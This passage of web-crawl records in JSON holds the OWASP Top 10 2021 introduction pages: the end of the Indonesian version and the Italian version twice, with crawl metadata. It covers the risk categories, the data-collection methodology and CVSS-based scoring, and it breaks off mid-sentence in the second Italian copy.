bahwa XSS perlu pindah ke Injeksi.\n2. Tumpang tindih hanya satu arah. Kita akan sering mengklasifikasikan kerentanan berdasarkan manifestasi akhir atau \"gejala\", bukan akar penyebab (yang berpotensi dalam). Misalnya, \"Pengungkapan Data Sensitif\" mungkin merupakan hasil dari \"Kesalahan Konfigurasi Keamanan\"; namun, Anda tidak akan melihatnya ke arah lain. Akibatnya, panah digambar di zona interaksi untuk menunjukkan arah mana itu terjadi.\n3. Terkadang diagram ini digambar dengan semua yang ada di A06:2021 Menggunakan Komponen dengan Kerentanan yang Diketahui. Sementara beberapa kategori risiko ini mungkin menjadi akar penyebab kerentanan pihak ketiga, mereka umumnya dikelola secara berbeda dan dengan tanggung jawab yang berbeda. Jenis lainnya biasanya mewakili risiko pihak pertama.\n\n### Terima kasih kepada kontributor data kami\n\nOrganisasi berikut (bersama dengan beberapa donor anonim) dengan baik hati menyumbangkan data untuk lebih dari 500.000 aplikasi untuk menjadikan ini kumpulan data keamanan aplikasi terbesar dan terlengkap. Tanpa Anda, ini tidak akan mungkin.\n\n- AppSec Labs\n- Cobalt.io\n- Contrast Security\n- GitLab\n- HackerOne\n- HCL Technologies\n- Micro Focus\n- PenTest-Tools\n- Probely\n- Sqreen\n- Veracode\n- WhiteHat (NTT)\n\n## Thank you to our sponsor\n\nThe OWASP Top 10 2021 team gratefully acknowledge the financial support of Secure Code Warrior.", "znaku_textu": 17745, "slov": 2509, "odkazu": 46, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "https://owasp.org/Top10/2021/id/", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 11:55:08", "sha256": "fa7966c2745bb939c32f042c625f6ba58fe64eaed19f9cc2d4a1150e97f432bf", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/Top10", "https://securecodewarrior.com/", "http://creativecommons.org/licenses/by/3.0/deed.en_US", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/Top10/2021/it/", "titulek": "Welcome Page - OWASP Top 10:2021", "h1": "Introduzione alla OWASP Top 10 2021", "popis": "OWASP Top 10:2021", "klicova_slova": "", "kanonicka": "https://owasp.org/Top10/2021/it/", "jazyk": "it", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Introduzione alla OWASP Top 10 2021"}, {"uroven": 2, "text": "Vi presentiamo la OWASP Top 10 - 2021"}, {"uroven": 2, "text": "Cosa è cambiato nella Top 10 2021"}, {"uroven": 2, "text": "Metodologia"}, {"uroven": 2, "text": "Come sono strutturate le categorie"}, {"uroven": 2, "text": "Come vengono usati i dati per selezionare le categorie"}, {"uroven": 2, "text": "Perchè non utilizzare dati puramente statistici?"}, {"uroven": 2, "text": "Perchè tasso di incidenza anzichè frequenza?"}, {"uroven": 2, "text": "Quale è il processo di raccolta e analisi dei dati?"}, {"uroven": 2, "text": "Etichette dei dati"}, {"uroven": 2, "text": "Ringraziamo chi ha contribuito con i dati"}, {"uroven": 2, "text": "Grazie ai nostri sponsor"}], "markdown": "# Introduzione alla OWASP Top 10 2021\n\n## Vi presentiamo la OWASP Top 10 - 2021\n\nEcco a voi l'ultima versione della OWASP Top 10! La OWASP Top 10 2021 è tutta nuova, con un nuovo design grafico e un'infografica di una pagina che potete stampare o scaricare dalla nostra home page.\n\nUn enorme grazie a tutti coloro che hanno contribuito con il loro tempo e i loro dati per questa versione. Senza di voi, tutto questo non sarebbe stato possibile. **GRAZIE!**\n\n## Cosa è cambiato nella Top 10 2021\n\nCi sono tre nuove categorie, quattro categorie con cambiamenti nella denominazione e nello scopo, e alcuni consolidamenti nella Top 10 per il 2021. Quando necessario abbiamo cambiato i nomi per concentrarci più sulla causa principale anzichè sui sintomi.\n\n- **[A01:2021-Broken Access Control](A01_2021-Broken_Access_Control/)** sale dalla quinta posizione alla categoria con il più grave rischio per la sicurezza delle applicazioni web; i dati analizzati indicano che in media, il 3,81% delle applicazioni testate aveva una o più Common Weakness Enumerations (CWEs) con più di 318k occorrenze di CWEs in questa categoria di rischio. Le 34 CWE che corrispondevano a Broken Access Control avevano più occorrenze di qualsiasi altra categoria.\n- **[A02:2021-Cryptographic Failures](A02_2021-Cryptographic_Failures/)** si sposta di una posizione alla #2, precedentemente nota come **A3:2017-Sensitive Data Exposure** , che era un sintomo generico piuttosto che la causa principale. Il nome rinnovato si concentra sulle problematiche relative alla crittografia come è stato prima, ma implicitamente. Questa categoria porta spesso all'esposizione di dati sensibili o alla compromissione del sistema.\n- **[A03:2021-Injection](A03_2021-Injection/)** scivola in terza posizione. Il 94% delle applicazioni è stato testato per qualche forma di injection con un tasso di incidenza massimo del 19%, un tasso di incidenza medio del 3,37%, e le 33 CWE che corrispondevano a questa categoria hanno il secondo maggior numero di occorrenze nelle applicazioni, con 274k. In questa edizione il Cross-site Scripting fa parte di questa categoria.\n- **[A04:2021-Insecure Design](A04_2021-Insecure_Design/)** è una nuova categoria per il 2021, con un focus sui rischi relativi ai difetti di progettazione. Se vogliamo veramente \"spostarci a sinistra\" come industria, abbiamo bisogno di più threat modeling, secure design patterns e architetture di riferimento. Un design insicuro non può essere corretto con un'implementazione perfetta, poiché per definizione i controlli di sicurezza necessari non sono mai stati creati per difendersi da attacchi specifici.\n- **[A05:2021-Security Misconfiguration](A05_2021-Security_Misconfiguration/)** sale dal numero 6 dell'edizione precedente; il 90% delle applicazioni è stato testato per qualche forma di misconfigurazione, con un tasso di incidenza medio del 4,5% e oltre 208k casi di CWE corrispondenti a questa categoria di rischio. Con una tendenza al software altamente configurabile, non è sorprendente vedere questa categoria salire. La precedente categoria per **A4:2017-XML External Entities (XXE)** è ora parte di questa categoria di rischio.\n- **[A06:2021-Vulnerable and Outdated Components](A06_2021-Vulnerable_and_Outdated_Components/)** era precedentemente intitolata \"Using Components with Known Vulnerabilities\" ed è #2 nel sondaggio della comunità Top 10, ma aveva anche abbastanza numeri per far parte della Top 10 grazie ai dati raccolti e analizzati. Questa categoria sale dalla #9 del 2017 ed è un problema noto per cui facciamo fatica a testare e a valutarne il rischio. È l'unica categoria a non avere alcun Common Vulnerability and Exposures (CVE) corrispondente alle CWE incluse, quindi nel punteggio è stato inserito un peso predefinito per sfruttabilità e impatto di 5.0.\n- **[A07:2021-Identification and Authentication Failures](A07_2021-Identification_and_Authentication_Failures/)** era precedentemente nota come \"Broken Authentication\" e sta scivolando giù dalla seconda posizione, e ora include CWEs che sono più legate a problematiche di identificazione. Questa categoria è ancora parte integrante della Top 10, ma la maggiore diffusione di framework standard sembra aiutare.\n- **[A08:2021-Software and Data Integrity Failures](A08_2021-Software_and_Data_Integrity_Failures/)** è una nuova categoria per il 2021, che si concentra sul fare ipotesi relative agli aggiornamenti del software, ai dati critici e alle pipeline CI/CD senza verificare l'integrità. Uno dei più alti impatti ponderati dai dati di Common Vulnerability and Exposures/Common Vulnerability Scoring System (CVE/CVSS) è stato messo in corrispondenza alle 10 CWE di questa categoria. **A8:2017-Insecure Deserialization** fa ora parte di questa categoria più ampia.\n- **[A09:2021-Security Logging and Monitoring Failures](A09_2021-Security_Logging_and_Monitoring_Failures/)** era precedentemente **A10:2017-Insufficient Logging & Monitoring** e viene aggiunto dal sondaggio della comunità Top 10 (#3), passando dalla precedente #10. Questa categoria è stata ampliata per includere più tipi di problematiche, è difficile da testare e non è ben rappresentata nei dati CVE/CVSS. Tuttavia, le problematiche in questa categoria possono avere un impatto diretto sulla visibilità, sull'alerting degli incidenti e sulle attività forensi.\n- **[A10:2021-Server-Side Request Forgery](A10_2021-Server-Side_Request_Forgery_%28SSRF%29/)** viene aggiunto dal sondaggio della comunità Top 10 (#1). I dati mostrano un tasso di incidenza relativamente basso con una copertura di test superiore alla media, insieme a valutazioni superiori alla media per il potenziale di sfruttabilità e di impatto. Questa categoria rappresenta lo scenario in cui i membri della nostra comunità ci stanno comunicando che è importante, anche se in questo momento non è evidente dai dati.\n\n## Metodologia\n\nQuesta versione della Top 10 è più data-driven che mai, ma non ciecamente data-driven. Abbiamo selezionato otto delle dieci categorie dai dati forniti e due categorie dal sondaggio della comunità Top 10. Questo lo facciamo per una ragione fondamentale, guardare i dati forniti è guardare nel passato. I ricercatori nel campo dell'AppSec impiegano tempo per trovare nuove vulnerabilità e nuovi modi per testarle. Ci vuole tempo per integrare questi test negli strumenti e nei processi. Nel momento in cui possiamo testare in modo affidabile una debolezza su larga scala, probabilmente sono passati anni. Per bilanciare questo punto di vista, usiamo un sondaggio comunitario per chiedere agli esperti di sicurezza e sviluppatori di applicazioni in prima linea quali sono le debolezze essenziali che i dati potrebbero non mostrare ancora.\n\nCi sono alcuni cambiamenti importanti che abbiamo adottato per continuare a migliorare la Top 10.\n\n## Come sono strutturate le categorie\n\nAlcune categorie sono cambiate dalla precedente versione della Top Ten di OWASP. Ecco un riassunto ad alto livello dei cambiamenti relativi alle categorie.\n\nI precedenti sforzi di raccolta dati erano focalizzati su un sottoinsieme prescritto di circa 30 CWE con un campo aperto che ne richiedeva altri. Abbiamo imparato che le organizzazioni si concentravano principalmente solo su quelle 30 CWE e raramente aggiungevano ulteriori CWE che avevano incontrato. In questa iterazione abbiamo chiesto solo dati, senza restrizioni sulle CWE. Abbiamo chiesto il numero di applicazioni testate per un dato anno (a partire dal 2017), e il numero di applicazioni con almeno un'istanza di una CWE trovata nei test. Questo formato ci permette di tracciare quanto sia prevalente ogni CWE all'interno della popolazione delle applicazioni. Per i nostri scopi ignoriamo la frequenza; mentre può essere necessaria per altre situazioni, nasconde solo la reale prevalenza nella popolazione delle applicazioni. Che un'applicazione abbia quattro istanze di una CWE o 4.000 istanze, questo valore non influisce nel calcolo per la Top 10. Siamo passati da circa 30 CWE a quasi 400 CWE da analizzare. In futuro abbiamo in programma di fare ulteriori analisi dei dati come integrazione. Questo aumento significativo del numero di CWE richiede cambiamenti nel modo in cui le categorie sono strutturate.\n\nAbbiamo trascorso diversi mesi a raggruppare e categorizzare le CWE e avremmo potuto continuare per mesi. Ad un certo punto ci siamo dovuti fermare. Ci sono entrambi i tipi di CWE *causa principale* e *sintomo*, dove i tipi *causa principale* sono come \"Cryptographic Failures\" e \"Misconfiguration\" in contrasto con i tipi *sintomo* come \"Sensitive Data Exposure\" e \"Denial of Service\". Abbiamo deciso di concentrarci sulla *causa principale* ogni volta che è possibile, in quanto è più logico per fornire una guida all'identificazione e al rimedio. Concentrarsi sulla *causa principale* piuttosto che sul *sintomo* non è un concetto nuovo; la Top Ten è stata un mix di *sintomo* e *causa principale*. Anche le CWE sono un mix di *sintomo* e *causa principale*; siamo semplicemente più consapevoli di questo e lo diciamo ad alta voce. C'è una media di 19.6 CWE per categoria in questa versione, con i limiti inferiori a 1 CWE per **A10:2021-Server-Side Request Forgery (SSRF)** a 40 CWE in **A04:2021-Insecure Design**. Questa struttura aggiornata delle categorie offre ulteriori benefici per la formazione in quanto le aziende possono concentrarsi sulle CWE che hanno senso per un linguaggio/framework.\n\n## Come vengono usati i dati per selezionare le categorie\n\nNel 2017, abbiamo selezionato le categorie in base al tasso di incidenza per determinare la probabilità, poi le abbiamo classificate in base alla discussione con il team sulla base di decenni di esperienza per *Exploitability*, *Detectability* (anche *likelihood*), e *Technical Impact*. Per il 2021, vogliamo usare i dati per *Exploitability* e *(Technical) Impact* se possibile.\n\nAbbiamo scaricato OWASP Dependency Check ed estratto i punteggi CVSS relativi a Exploit e Impact raggruppati per CWE correlati. Ci sono voluti un bel po' di ricerche e sforzi, poiché tutti i CVE hanno punteggi CVSSv2, ma ci sono problematiche in CVSSv2 che CVSSv3 dovrebbe risolvere. Dopo un certo periodo di tempo, a tutti i CVE viene assegnato anche un punteggio CVSSv3. Inoltre, gli intervalli di punteggio e le formule sono stati aggiornati tra CVSSv2 e CVSSv3.\n\nNel CVSSv2, sia *Exploit* che *(Technical) Impact* potevano essere fino a 10.0, ma la formula li riduceva al 60% per *Exploit* e al 40% per *Impact*. Nel CVSSv3, il massimo teorico era limitato a 6.0 per *Exploit* e 4.0 per *Impact*. Con la ponderazione considerata, il punteggio di Impact si è spostato più in alto, quasi un punto e mezzo in media in CVSSv3, e l'exploitability si è spostato quasi mezzo punto più in basso in media.\n\nCi sono 125k record di una CVE corrispondente a una CWE nei dati del National Vulnerability Database (NVD) estratti da OWASP Dependency Check, e ci sono 241 CWE uniche corrispondenti a un CVE. 62k corrispondenze di CWE hanno un punteggio CVSSv3, che è circa la metà della popolazione nel set di dati.\n\nPer la Top Ten 2021, abbiamo calcolato i punteggi medi di *Exploit* e *Impact* nel modo seguente. Abbiamo raggruppato tutte le CVE con punteggi CVSS per CWE e ponderato entrambi i punteggi di *Exploit* e *Impact* per la percentuale della popolazione che aveva CVSSv3 più la restante popolazione di punteggi CVSSv2 per ottenere una media complessiva. Abbiamo messo in corrispondenza queste medie alle CWE nel dataset da usare come punteggio di *Exploit* e *(Technical) Impact* per l'altra metà dell'equazione del rischio.\n\n## Perchè non utilizzare dati puramente statistici?\n\nI risultati nei dati sono principalmente limitati a ciò che possiamo testare in modo automatico. Parlate con un professionista esperto di AppSec e vi racconterà delle vulnerabilità che trova e delle tendenze che vede che non sono ancora visibili nei dati. Ci vuole tempo perché le persone sviluppino metodologie di test per certi tipi di vulnerabilità e poi ancora più tempo perché quei test siano automatizzati ed eseguiti su una vasta popolazione di applicazioni. Tutto ciò che troviamo sta guardando indietro nel passato e potrebbe mancare delle tendenze dell'ultimo anno, che non sono presenti nei dati.\n\nPertanto, prendiamo solo otto delle dieci categorie dai dati perché sono incompleti. Le altre due categorie provengono dal sondaggio della comunità Top 10. Questo permette ai professionisti in prima linea di votare per ciò che identificano come i rischi più alti che potrebbero non essere ancora visibili nei dati (e potrebbero non essere mai espressi nei dati).\n\n## Perchè tasso di incidenza anzichè frequenza?\n\nCi sono tre fonti primarie di dati. Le identifichiamo come Human-assisted Tooling (HaT), Tool-assisted Human (TaH), e Tooling grezzo.\n\nTooling e HaT generano una grande quantità di dati. Gli strumenti cercheranno vulnerabilità specifiche e tenteranno instancabilmente di trovare ogni istanza di quella vulnerabilità e genereranno un numero elevato di risultati per alcuni tipi di vulnerabilità. Guardate il Cross-Site Scripting, che è tipicamente di due tipi: o è un errore piccolo e isolato o un problema sistemico. Quando si tratta di un problema sistemico, il conteggio può essere di migliaia per una singola applicazione. Questa alta frequenza copre la maggior parte delle altre vulnerabilità trovate nei report o nei dati.\n\nTaH, d'altra parte, troverà una gamma più ampia di tipi di vulnerabilità, ma con una frequenza molto più bassa a causa dei vincoli temporali. Quando gli esseri umani testano un'applicazione e identificano problematiche come il Cross-Site Scripting, in genere trovano tre o quattro istanze e si fermano. Possono determinare una scoperta sistemica e scrivere nel report consigli per la correzione della problematica sull'intera applicazione. Non c'è bisogno (o tempo) di trovare ogni istanza.\n\nSupponiamo di prendere questi due insiemi di dati distinti e cercare di unirli ina base alla frequenza. In questo caso, i dati di Tooling e HaT sommergeranno i più accurati (ma ampi) dati TaH ed è una buona parte del motivo per cui qualcosa come Cross-Site Scripting è stato così altamente classificato in molte liste quando l'impatto è generalmente basso o moderato. È a causa dell'enorme volume di risultati. (Il Cross-Site Scripting è anche ragionevolmente facile da testare, quindi ci sono molti più test anche per questo).\n\nNel 2017, abbiamo introdotto l'uso del tasso di incidenza per dare un nuovo sguardo ai dati e fondere in modo pulito i dati di Tooling e HaT con i dati TaH. Il tasso di incidenza chiede quale percentuale della popolazione di applicazioni ha avuto almeno un'istanza di un tipo di vulnerabilità. Non ci interessa se era una tantum o sistemica. Questo è irrilevante per i nostri scopi; abbiamo solo bisogno di sapere quante applicazioni ne avevano almeno un'istanza, il che aiuta a fornire una visione più chiara dei risultati senza rischiare di inquinare i dati con risultati relativi a problematiche ad alta frequenza. Questo corrisponde a una visione legata al rischio, poiché un attaccante ha bisogno di una sola istanza di una determinata vulnerabilità per attaccare con successo un'applicazione.\n\n## Quale è il processo di raccolta e analisi dei dati?\n\nAbbiamo formalizzato il processo di raccolta dati OWASP Top 10 all'Open Security Summit del 2017. I leader di OWASP Top 10 e la comunità hanno trascorso due giorni a formalizzare un processo di raccolta dati trasparente. Per l'edizione 2021 è la seconda volta che abbiamo usato questa metodologia.\n\nRichiediamo i dati attraverso i canali dei social media a nostra disposizione, sia del progetto che di OWASP. Sulla pagina del progetto OWASP, elenchiamo quali variabili e quale struttura stiamo cercando nei dati e come inviarli. Nela pagina GitHub, abbiamo file di esempio che servono come modelli. Lavoriamo con le organizzazioni, se necessario, per aiutarle a capire la struttura e la correlazione delle relative CWE.\n\nOtteniamo dati da organizzazioni che sono aziende che svolgono test di sicurezza, piattaforme di bug bounty e organizzazioni che contribuiscono con dati di test interni. Una volta che abbiamo i dati, li carichiamo insieme ed eseguiamo un'analisi fondamentale, ovvero la corrispondenza delle CWE alle categorie di rischio. C'è una sovrapposizione tra alcune CWE, e altre sono strettamente correlati (es. vulnerabilità crittografiche). Qualsiasi decisione relativa ai dati grezzi presentati è documentata e pubblicata per essere aperti e trasparenti sul processo di normalizzazione dei dati.\n\nGuardiamo le otto categorie con i più alti tassi di incidenza per l'inclusione nella Top 10. Guardiamo anche i risultati del sondaggio della comunità Top 10 per vedere quali possono essere già presenti nei dati. I primi due voti che non sono già presenti nei dati saranno selezionati per gli altri due posti nella Top 10. Una volta che tutti e dieci sono stati selezionati, abbiamo applicato fattori generici per la sfruttabilità e l'impatto; per produrre una Top 10 2021 in un ordine basato sul rischio.\n\n## Etichette dei dati\n\nCi sono alcune etichette che sono elencati per ciascuna delle 10 categorie principali, ecco cosa significano:\n\n- CWEs corrispondenti: Il numero di CWE corrispondenti a una categoria dal team Top 10.\n- Tasso di incidenza: Il tasso di incidenza è la percentuale di applicazioni vulnerabili a quel CWE dalla popolazione testata da quella org per quell'anno.\n- Copertura (di test): La percentuale di applicazioni testate da tutte le organizzazioni per un dato CWE.\n- Sfruttabilità pesata: Il sub-score Exploit dai punteggi CVSSv2 e CVSSv3 assegnati ai CVE corrispondenti ai CWE, normalizzati e posizionati su una scala di 10 punti.\n- Impatto pesato: Il sub-score di impatto dai punteggi CVSSv2 e CVSSv3 assegnati ai CVE corrispondenti ai CWE, normalizzato e posizionato su una scala di 10 punti.\n- Occorrenze totali: Numero totale di applicazioni trovate che hanno i CWE corrispondenti ad una categoria.\n- CVE totali: Numero totale di CVE nel DB NVD che sono stati messi in corrispondenza ai CWE relativi a una categoria.\n\n## Ringraziamo chi ha contribuito con i dati\n\nLe seguenti organizzazioni (insieme ad alcuni donatori anonimi) hanno gentilmente donato i dati per oltre 500.000 applicazioni per rendere questo il più grande e completo set di dati sulla sicurezza delle applicazioni. Senza di voi, questo non sarebbe possibile.\n\n- AppSec Labs\n- Cobalt.io\n- Contrast Security\n- GitLab\n- HackerOne\n- HCL Technologies\n- Micro Focus\n- PenTest-Tools\n- Probely\n- Sqreen\n- Veracode\n- WhiteHat (NTT)\n\n## Grazie ai nostri sponsor\n\nIl team OWASP Top 10 2021 ringrazia il supporto finanziario di Secure Code Warrior e Just Eat.", "znaku_textu": 18526, "slov": 2845, "odkazu": 46, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 11:54:42", "sha256": "a1c20b0f8ab05c6e681c2f6d8dea841b5a487506ea9360709e3672cf5c2b78de", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/Top10", "https://securecodewarrior.com/", "https://www.just-eat.co.uk/", "http://creativecommons.org/licenses/by/3.0/deed.en_US", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/Top10/2021/it/index.html", "titulek": "Welcome Page - OWASP Top 10:2021", "h1": "Introduzione alla OWASP Top 10 2021", "popis": "OWASP Top 10:2021", "klicova_slova": "", "kanonicka": "https://owasp.org/Top10/2021/it/", "jazyk": "it", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Introduzione alla OWASP Top 10 2021"}, {"uroven": 2, "text": "Vi presentiamo la OWASP Top 10 - 2021"}, {"uroven": 2, "text": "Cosa è cambiato nella Top 10 2021"}, {"uroven": 2, "text": "Metodologia"}, {"uroven": 2, "text": "Come sono strutturate le categorie"}, {"uroven": 2, "text": "Come vengono usati i dati per selezionare le categorie"}, {"uroven": 2, "text": "Perchè non utilizzare dati puramente statistici?"}, {"uroven": 2, "text": "Perchè tasso di incidenza anzichè frequenza?"}, {"uroven": 2, "text": "Quale è il processo di raccolta e analisi dei dati?"}, {"uroven": 2, "text": "Etichette dei dati"}, {"uroven": 2, "text": "Ringraziamo chi ha contribuito con i dati"}, {"uroven": 2, "text": "Grazie ai nostri sponsor"}], "markdown": "# Introduzione alla OWASP Top 10 2021\n\n## Vi presentiamo la OWASP Top 10 - 2021\n\nEcco a voi l'ultima versione della OWASP Top 10! La OWASP Top 10 2021 è tutta nuova, con un nuovo design grafico e un'infografica di una pagina che potete stampare o scaricare dalla nostra home page.\n\nUn enorme grazie a tutti coloro che hanno contribuito con il loro tempo e i loro dati per questa versione. Senza di voi, tutto questo non sarebbe stato possibile. **GRAZIE!**\n\n## Cosa è cambiato nella Top 10 2021\n\nCi sono tre nuove categorie, quattro categorie con cambiamenti nella denominazione e nello scopo, e alcuni consolidamenti nella Top 10 per il 2021. Quando necessario abbiamo cambiato i nomi per concentrarci più sulla causa principale anzichè sui sintomi.\n\n- **[A01:2021-Broken Access Control](A01_2021-Broken_Access_Control/)** sale dalla quinta posizione alla categoria con il più grave rischio per la sicurezza delle applicazioni web; i dati analizzati indicano che in media, il 3,81% delle applicazioni testate aveva una o più Common Weakness Enumerations (CWEs) con più di 318k occorrenze di CWEs in questa categoria di rischio. Le 34 CWE che corrispondevano a Broken Access Control avevano più occorrenze di qualsiasi altra categoria.\n- **[A02:2021-Cryptographic Failures](A02_2021-Cryptographic_Failures/)** si sposta di una posizione alla #2, precedentemente nota come **A3:2017-Sensitive Data Exposure** , che era un sintomo generico piuttosto che la causa principale. Il nome rinnovato si concentra sulle problematiche relative alla crittografia come è stato prima, ma implicitamente. Questa categoria porta spesso all'esposizione di dati sensibili o alla compromissione del sistema.\n- **[A03:2021-Injection](A03_2021-Injection/)** scivola in terza posizione. Il 94% delle applicazioni è stato testato per qualche forma di injection con un tasso di incidenza massimo del 19%, un tasso di incidenza medio del 3,37%, e le 33 CWE che corrispondevano a questa categoria hanno il secondo maggior numero di occorrenze nelle applicazioni, con 274k. In questa edizione il Cross-site Scripting fa parte di questa categoria.\n- **[A04:2021-Insecure Design](A04_2021-Insecure_Design/)** è una nuova categoria per il 2021, con un focus sui rischi relativi ai difetti di progettazione. Se vogliamo veramente \"spostarci a sinistra\" come industria, abbiamo bisogno di più threat modeling, secure design patterns e architetture di riferimento. Un design insicuro non può essere corretto con un'implementazione perfetta, poiché per definizione i controlli di sicurezza necessari non sono mai stati creati per difendersi da attacchi specifici.\n- **[A05:2021-Security Misconfiguration](A05_2021-Security_Misconfiguration/)** sale dal numero 6 dell'edizione precedente; il 90% delle applicazioni è stato testato per qualche forma di misconfigurazione, con un tasso di incidenza medio del 4,5% e oltre 208k casi di CWE corrispondenti a questa categoria di rischio. Con una tendenza al software altamente configurabile, non è sorprendente vedere questa categoria salire. La precedente categoria per **A4:2017-XML External Entities (XXE)** è ora parte di questa categoria di rischio.\n- **[A06:2021-Vulnerable and Outdated Components](A06_2021-Vulnerable_and_Outdated_Components/)** era precedentemente intitolata \"Using Components with Known Vulnerabilities\" ed è #2 nel sondaggio della comunità Top 10, ma aveva anche abbastanza numeri per far parte della Top 10 grazie ai dati raccolti e analizzati. Questa categoria sale dalla #9 del 2017 ed è un problema noto per cui facciamo fatica a testare e a valutarne il rischio. È l'unica categoria a non avere alcun Common Vulnerability and Exposures (CVE) corrispondente alle CWE incluse, quindi nel punteggio è stato inserito un peso predefinito per sfruttabilità e impatto di 5.0.\n- **[A07:2021-Identification and Authentication Failures](A07_2021-Identification_and_Authentication_Failures/)** era precedentemente nota come \"Broken Authentication\" e sta scivolando giù dalla seconda posizione, e ora include CWEs che sono più legate a problematiche di identificazione. Questa categoria è ancora parte integrante della Top 10, ma la maggiore diffusione di framework standard sembra aiutare.\n- **[A08:2021-Software and Data Integrity Failures](A08_2021-Software_and_Data_Integrity_Failures/)** è una nuova categoria per il 2021, che si concentra sul fare ipotesi relative agli aggiornamenti del software, ai dati critici e alle pipeline CI/CD senza verificare l'integrità. Uno dei più alti impatti ponderati dai dati di Common Vulnerability and Exposures/Common Vulnerability Scoring System (CVE/CVSS) è stato messo in corrispondenza alle 10 CWE di questa categoria. **A8:2017-Insecure Deserialization** fa ora parte di questa categoria più ampia.\n- **[A09:2021-Security Logging and Monitoring Failures](A09_2021-Security_Logging_and_Monitoring_Failures/)** era precedentemente **A10:2017-Insufficient Logging & Monitoring** e viene aggiunto dal sondaggio della comunità Top 10 (#3), passando dalla precedente #10. Questa categoria è stata ampliata per includere più tipi di problematiche, è difficile da testare e non è ben rappresentata nei dati CVE/CVSS. Tuttavia, le problematiche in questa categoria possono avere un impatto diretto sulla visibilità, sull'alerting degli incidenti e sulle attività forensi.\n- **[A10:2021-Server-Side Request Forgery](A10_2021-Server-Side_Request_Forgery_%28SSRF%29/)** viene aggiunto dal sondaggio della comunità Top 10 (#1). I dati mostrano un tasso di incidenza relativamente basso con una copertura di test superiore alla media, insieme a valutazioni superiori alla media per il potenziale di sfruttabilità e di impatto. Questa categoria rappresenta lo scenario in cui i membri della nostra comunità ci stanno comunicando che è importante, anche se in questo momento non è evidente dai dati.\n\n## Metodologia\n\nQuesta versione della Top 10 è più data-driven che mai, ma non ciecamente data-driven. Abbiamo selezionato otto delle dieci categorie dai dati forniti e due categorie dal sondaggio della comunità Top 10. Questo lo facciamo per una ragione fondamentale, guardare i dati forniti è guardare nel passato. I ricercatori nel campo dell'AppSec impiegano tempo per trovare nuove vulnerabilità e nuovi modi per testarle. Ci vuole tempo per integrare questi test negli strumenti e nei processi. Nel momento in cui possiamo testare in modo affidabile una debolezza su larga scala, probabilmente sono passati anni. Per bilanciare questo punto di vista, usiamo un sondaggio comunitario per chiedere agli esperti di sicurezza e sviluppatori di applicazioni in prima linea quali sono le debolezze essenziali che i dati potrebbero non mostrare ancora.\n\nCi sono alcuni cambiamenti importanti che abbiamo adottato per continuare a migliorare la Top 10.\n\n## Come sono strutturate le categorie\n\nAlcune categorie sono cambiate dalla precedente versione della Top Ten di OWASP. Ecco un riassunto ad alto livello dei cambiamenti relativi alle categorie.\n\nI precedenti sforzi di raccolta dati erano focalizzati su un sottoinsieme prescritto di circa 30 CWE con un campo aperto che ne richiedeva altri. Abbiamo imparato che le organizzazioni si concentravano principalmente solo su quelle 30 CWE e raramente aggiungevano ulteriori CWE che avevano incontrato. In questa iterazione abbiamo chiesto solo dati, senza restrizioni sulle CWE. Abbiamo chiesto il numero di applicazioni testate per un dato anno (a partire dal 2017), e il numero di applicazioni con almeno un'istanza di una CWE trovata nei test. Questo formato ci permette di tracciare quanto sia prevalente ogni CWE all'interno della popolazione delle applicazioni. Per i nostri scopi ignoriamo la frequenza; mentre può essere necessaria per altre situazioni, nasconde solo la reale prevalenza nella popolazione delle applicazioni. Che un'applicazione abbia quattro istanze di una CWE o 4.000 istanze, questo valore non influisce nel calcolo per la Top 10. Siamo passati da circa 30 CWE a quasi 400 CWE da analizzare. In futuro abbiamo in programma di fare ulteriori analisi dei dati come integrazione. Questo aumento significativo del numero di CWE richiede cambiamenti nel modo in cui le categorie sono strutturate.\n\nAbbiamo trascorso diversi mesi a raggruppare e categorizzare le CWE e avremmo potuto continuare per mesi. Ad un certo punto ci siamo dovuti fermare. Ci sono entrambi i tipi di CWE *causa principale* e *sintomo*, dove i tipi *causa principale* sono come \"Cryptographic Failures\" e \"Misconfiguration\" in contrasto con i tipi *sintomo* come \"Sensitive Data Exposure\" e \"Denial of Service\". Abbiamo deciso di concentrarci sulla *causa principale* ogni volta che è possibile, in quanto è più logico per fornire una guida all'identificazione e al rimedio. Concentrarsi sulla *causa principale* piuttosto che sul *sintomo* non è un concetto nuovo; la Top Ten è stata un mix di *sintomo* e *causa principale*. Anche le CWE sono un mix di *sintomo* e *causa principale*; siamo semplicemente più consapevoli di questo e lo diciamo ad alta voce. C'è una media di 19.6 CWE per categoria in questa versione, con i limiti inferiori a 1 CWE per **A10:2021-Server-Side Request Forgery (SSRF)** a 40 CWE in **A04:2021-Insecure Design**. Questa struttura aggiornata delle categorie offre ulteriori benefici per la formazione in quanto le aziende possono concentrarsi sulle CWE che hanno senso per un linguaggio/framework.\n\n## Come vengono usati i dati per selezionare le categorie\n\nNel 2017, abbiamo selezionato le categorie in base al tasso di incidenza per determinare la probabilità, poi le abbiamo classificate in base alla discussione con il team sulla base di decenni di esperienza per *Exploitability*, *Detectability* (anche *likelihood*), e *Technical Impact*. Per il 2021, vogliamo usare i dati per *Exploitability* e *(Technical) Impact* se possibile.\n\nAbbiamo scaricato OWASP Dependency Check ed estratto i punteggi CVSS relativi a Exploit e Impact raggruppati per CWE correlati. Ci sono voluti un bel po' di ricerche e sforzi, poiché tutti i CVE hanno punteggi CVSSv2, ma ci sono problematiche in CVSSv2 che CVSSv3 dovrebbe risolvere. Dopo un certo periodo di tempo, a tutti i CVE viene assegnato anche un punteggio CVSSv3. Inoltre, gli intervalli di punteggio e le formule sono stati aggiornati tra CVSSv2 e CVSSv3.\n\nNel CVSSv2, sia *Exploit* che *(Technical) Impact* potevano essere fino a 10.0, ma la formula li riduceva al 60% per *Exploit* e al 40% per *Impact*. Nel 